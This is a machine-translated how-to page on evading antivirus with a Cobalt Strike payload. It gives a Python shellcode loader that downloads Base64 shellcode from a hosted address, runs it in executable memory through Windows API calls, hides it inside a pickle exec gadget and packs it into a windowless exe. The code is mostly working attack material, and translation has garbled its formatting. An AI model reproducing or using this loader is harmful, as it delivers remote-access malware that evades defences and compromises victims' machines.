Get the App
SLTechnology News&Howtos  ›  Network Security  › 

What are the tips of BypassAv?

Shulou Source: shulou.com Published: 2022-06-01 00:36:46 10月04日 Update

BypassAv has what tips, many novices are not very clear about this, in order to help you solve this problem, the following editor will explain for you in detail, people with this need can come to learn, I hope you can gain something.

01 start

First we have to use cobaltstrike to generate the payload of a python script

Then copy the payload inside and encode it with Base64

The second step is to throw the newly generated Base64 into the server for access.

If you can see this, that's right.

Then the next step is to deserialize the address copy (important!)

Import base64shellcode = "" import ctypes,urllib.request,codecs,base64shellcode = urllib.request.urlopen ('http://172.20.10.2:8080/1111.txt').read()shellcode = base64.b64decode (shellcode) shellcode = codecs.escape_decode (shellcode) [0] shellcode = bytearray (shellcode) # set VirtualAlloc return type to ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# request memory ptr = ctypes.windll.kernel32.VirtualAlloc (ctypes.c_int (0)) Ctypes.c_int (len (shellcode)), ctypes.c_int (0x3000), ctypes.c_int (0x40)) # put in shellcodebuf = (ctypes.c_char * len (shellcode)) .from_buffer (shellcode) ctypes.windll.kernel32.RtlMoveMemory (ctypes.c_uint64 (ptr), buf Ctypes.c_int (len (shellcode)) # create a thread to execute handle = ctypes.windll.kernel32.CreateThread (ctypes.c_int (0), ctypes.c_int (0), ctypes.c_uint64 (ptr), ctypes.c_int (0), ctypes.c_int (0) from the first address of the shellcode prevention location Ctypes.pointer (ctypes.c_int (0)) # wait for the thread created above to finish running ctypes.windll.kernel32.WaitForSingleObject (ctypes.c_int (handle), ctypes.c_int (- 1)) "" class A (object): def _ reduce__ (self): return (exec, (shellcode,)) ret = pickle.dumps (A ()) ret_base64 = base64.b64encode (ret) print (ret_base64) # ret_decode = base64.b64decode (ret_base64)

Just add the address to the red box and run it.

After running, we will get the following deserialization

Let's copy this code to this script to generate it.

Import base64,pickle,ctypes,urllib.requestshellcode = b'gANjYnVpbHRpbnMKZXhlYwpxAFg1BAAACmltcG9ydCBjdHlwZXMsdXJsbGliLnJl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AogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgY3R5cGVzLmNfaW50KDApLCAKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMucG9pbnRlcihjdHlwZXMuY19pbnQoMCkpCikKIyDnrYnlvoXkuIrpnaLliJvlu7rnmoTnur/nqIvov5DooYzlrowKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkpcQGFcQJScQMu'pickle.loads (base64.b64decode (shellcode))

Then click run and you will find that you have successfully launched a machine in cs.

Finally, we use the script pyinstaller to package it into exe.

Command: pyinstaller-F 2.py-- noconsole-I Ladon.ico-- key 121212

The generated exe is in the dist directory.

Finally, we are testing whether it can be run or not.

Successfully launched

02 end

Several screenshots are attached.

Is it helpful for you to read the above content? If you want to know more about the relevant knowledge or read more related articles, please follow the industry information channel, thank you for your support.

Tags: Run generate address script success sequence thread help skill clarity importance code location memory content command screenshot article novice Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno macOS vpn MySQL Shulou Tech Info OPPO Reno